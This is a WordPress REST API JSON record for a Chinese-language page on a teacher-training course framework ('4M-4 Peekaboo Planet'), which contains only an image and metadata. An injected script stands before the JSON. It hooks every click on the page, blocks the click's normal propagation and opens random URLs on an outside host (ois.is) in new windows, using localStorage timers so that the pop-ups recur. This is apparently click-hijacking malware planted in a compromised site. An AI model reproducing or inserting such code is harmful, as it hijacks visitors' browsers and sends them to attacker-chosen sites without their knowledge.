<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":939,"date":"2014-10-11T11:48:23","date_gmt":"2014-10-11T03:48:23","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=939"},"modified":"2019-01-17T16:02:10","modified_gmt":"2019-01-17T08:02:10","slug":"4m-4%e3%80%8a%e7%9a%ae%e5%8d%a1%e5%b8%83%e6%98%9f%e7%90%83%e3%80%8b%e5%b8%ab%e8%b3%87%e5%9f%b9%e8%a8%93%e8%aa%b2%e7%a8%8b%e6%9e%b6%e6%a7%8b","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo4m4\/","title":{"rendered":"4M-4\u300a\u76ae\u5361\u5e03\u661f\u7403\u300b\u5e2b\u8cc7\u57f9\u8a13\u8ab2\u7a0b\u67b6\u69cb"},"content":{"rendered":"<h5>4M-4\u300a\u76ae\u5361\u5e03\u661f\u7403\u300b\u5e2b\u8cc7\u57f9\u8a13\u8ab2\u7a0b\u67b6\u69cb<\/h5>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-1410\" src=\"http:\/\/edu.secda.info\/peekaboo4m4\/wp-content\/uploads\/2014\/10\/4M4.jpg\" alt=\"4M4\" width=\"1485\" height=\"825\" srcset=\"https:\/\/edu.secda.info\/peekaboo4m4\/wp-content\/uploads\/2014\/10\/4M4.jpg 1485w, https:\/\/edu.secda.info\/peekaboo4m4\/wp-content\/uploads\/2014\/10\/4M4-300x167.jpg 300w, https:\/\/edu.secda.info\/peekaboo4m4\/wp-content\/uploads\/2014\/10\/4M4-768x427.jpg 768w, https:\/\/edu.secda.info\/peekaboo4m4\/wp-content\/uploads\/2014\/10\/4M4-800x444.jpg 800w\" sizes=\"(max-width: 1485px) 100vw, 1485px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>4M-4\u300a\u76ae\u5361\u5e03\u661f\u7403\u300b\u5e2b\u8cc7\u57f9\u8a13\u8ab2\u7a0b\u67b6\u69cb<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/939"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=939"}],"version-history":[{"count":12,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/939\/revisions"}],"predecessor-version":[{"id":1412,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/939\/revisions\/1412"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}